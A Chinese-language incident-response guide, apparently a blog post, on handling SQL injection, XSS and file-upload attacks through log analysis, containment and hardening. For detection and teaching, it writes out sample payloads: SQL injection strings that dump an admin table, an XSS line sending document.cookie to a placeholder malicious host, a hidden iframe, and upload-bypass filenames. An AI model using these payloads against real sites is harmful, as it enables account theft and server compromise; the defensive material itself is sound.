应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)

一、通用前置说明

1.漏洞应急整体思路

  1. 定位:从日志/流量找到漏洞利用请求、攻击IP
  2. 止损:临时封禁IP、请用WAF、临时下线风险页面
  3. 排查:检查是否被植入后门、篡改页面、拖库数据
  4. 清理:删除木马、恢复篡改页面
  5. 加固:修复代码漏洞、更新配置、权限收紧

2.三类漏洞风险等级

  • SQL注入:高危,可拖库、查管理员账号、篡改数据、执行数据库命令
  • 文件上传:超高危,直接上传WebShell,拿下服务器权限
  • XSS跨站:中高危,窃取Cookie、钓鱼、劫持用户、页面挂恶意代码

二、SQL注入

1.基础原理

网站前端将用户传入的参数直接拼接进SQL语句执行,攻击者构造特殊字符/语句,篡改原有查询逻辑,非法操作数据库。

常见触发点:URL参数、搜索框、登录框、留言板等输入位置。

2.典型注入特征(日志/请求识别)

(1)特征符号&关键字

'、"、--、#、/* */

SQL关键字:union、select、and、or、sleep、benchmark、into outfile

(2)典型恶意请求示例
复制代码
#闭合原有SQL,构造永真条件
?id=1' or 1=1 --

#联合查询拖库
?id=1' union select 1,username,password from admin --

#延时注入(盲注,无回显)
?id=1' and sleep(5) --
(3)日志表现
  1. Nginx/Apache日志:URL参数包含上述关键字/符号
  2. 状态码:多为200(正常执行)、部分触发代码报错出现500
  3. 同一IP短时间大量相似请求------>自动化注入工具扫描

3.应急现场排查步骤

1.筛选攻击日志
复制代码
#Nginx筛选注入特征
grep -iE "'|union|select|and|or|sleep" /var/log/nginx/access.log

#统计攻击IP,定位源头
awk '{print $1}' access.log | sort |uniq -c | sort -nr
2.判断危害程度
  • 普通查询:仅读取页面数据,风险较低
  • 出现password、admin、user表名:疑似拖库(盗取账号密码)
  • 出现into outfile :尝试写入文件,大概率要传后门
3.检查网站页面&数据

查看前台页面是否被篡改、后台管理员账号是否被新增

4.临时应急处置
  1. 防火墙/WAF拉黑攻击IP段
  2. 临时关闭对应动态页面/接口
  3. 数据库临时收紧账号权限,禁止file、exec等高权限操作
  4. 开启WAF SQL注入防护规则
5.长期加固方案
  • 代码层:使用预编译语句,禁止直接拼接SQL
  • 输入过滤:过滤单引号、关键词、特殊字符
  • 数据库账号最小权限,网站库帐号不赋予文件读写权限

三、XSS跨站脚本攻击

1.基础原理

网站对用户输入未过滤HTML/JS代码,攻击者注入恶意脚本,当其他用户访问页面时,脚本自动执行。

分类:

存储型XSS:恶意代码存入服务器数据库/页面,所有访问者都会触发(危害最大,留言板、评论区告发)

反射型XSS:代码仅在URL中,点开恶意链接才触发(钓鱼常用)

DOM型XSS:

前端JS解析逻辑漏洞,后台日志可能无明显特征

2.典型特征(日志&流量识别)

(1)特征关键词/标签

<script>、alert()、javascript:、<frame>、document.cookie、onerror、onclick

(2)典型恶意请求示例
复制代码
#弹窗测试
?name=<script?alert('xss')</script>

#窃取Cookie
?user=<script>document.location='http://恶意IP/steal.php?c='+document.cookie</script>

#内嵌恶意页面
<iframe src="恶意地址" width=0 height=0></iframe>
(3)日志表现
  • 请求参数内包含HTML标签、JS函数
  • 存储型XSS会反复出现同一段恶意代码(多人访问触发)
  • 状态码大多为200

3.应急现场排查步骤

  • 日志筛选特征字符
复制代码
  grep -iE "script|alert|iframe|cookie" access.log
  • 定位注入位置:评论、搜索、个人资料、留言板等功能点
  • 检查页面:查看页面源码是否存在残留恶意JS/iframe代码
  • 核查影响:是否有用户Cookie被盗、账号异常登录

4.临时应急处置

  1. WAF开启XSS防护规则
  2. 临时关闭存在漏洞的评论/留言功能
  3. 清理数据库、页面中植入的恶意代码
  4. 提醒用户及时修改密码、退出登录

5.长期加固

  • 对输出内容做HTML转义(<>、&、"等符号编码)
  • 输入端过滤脚本标签、时间属性
  • 配置CSP内容安全策略,限制外部脚本加载

四、文件上传漏洞

1.基础原理

网站上传功能(头像、附件、图片)未严格校验文件后缀、文件类型,攻击者可上传PHP/JSP/ASP等脚本文件(WebShell),直接控制服务器。

是入侵网站、植入后门最常用的漏洞。

2.常见绕过手段

  • 后缀绕过:shell.php------>shell.php%00、shell.php.、shell.jpg.php
  • 类型绕过:修改HTTP请求头的Content-Type伪装成图片
  • 双后缀:shell.jpg.php

3.典型特征(日志&流量识别)

(1)行为特征
  1. 请求方式:基本都是POST请求(文件上传必须POST)
  2. 目标路径:/upload/、/file/、/attach/、/avatar/等上传目录
  3. 文件名:出现shell、hack、一句话木马相关命名,后缀为.php / .jsp / .asp
(2)日志关键词

.php、.jsp、.asp、upload、.file、POST

(3)典型恶意请求

向上传接口提交一句话木马.php,请求体包含脚本代码

4.应急现场排查步骤

  • 日志筛选上传行为

    #筛选POST上传+脚本后缀
    grep -i "POST" access.log | grep -iE ".php|.jsp|.asp"

  • 定位上传目录:进入网站upload等目录,查找陌生脚本文件

  • 查杀WebShell(配合D盾、河马工具)

  • 检查:是否已通过上传木马进一步提权、横向渗透

5.临时应急处置

  • 临时禁用上传功能,或给上传目录设置禁止执行脚本权限

Linux Nginx:配置上传目录不解析PHP

Windows IIS:设置目录执行权限为"无"

  • WAF拦截脚本后缀文件上传
  • 删除已上传恶意脚本文件
  • 封禁攻击IP

6.长期加固

  1. 严格校验文件后缀+MIME类型,只允许图片、压缩包等合法格式
  2. 上传目录独立部署,禁止脚本执行权限
  3. 上传文件重命名,杜绝脚本被直接访问执行
  4. 限制上传文件大小
相关推荐
卸任16 小时前
Vibe coding工具使用心得
前端·ai编程
brien917 小时前
为什么模型标称 1M,Google Antigravity 聊到 256K 却突然失忆?我们给它做了个原生行内监控圆环
前端
修炼的dance17 小时前
录屏关键帧间隔多少合适?六档实测,2秒到10秒小了75.6%
前端
Lank_M17 小时前
关键帧从1秒拉到10秒,录屏小87.3%,摄像头小10.8%
前端
补码缩写17 小时前
用 ffprobe 拆录屏,八成字节在 29 个关键帧上
前端
百思不得小李17 小时前
一个复杂的动态表单是如何实现的
前端·设计模式
Flynt17 小时前
日涨4000星的OSINT工具,我拿Linus的用户名和一个随机字符串实测了一遍
python·安全
陈随易17 小时前
Cmder 停更 17 个月,2.0 支持 Windows Terminal
前端·后端·程序员
风骏时光牛马18 小时前
前沿视界
前端
kyriewen18 小时前
我扫了 814 个依赖,97 个还敢要 Node 10
前端·javascript·程序员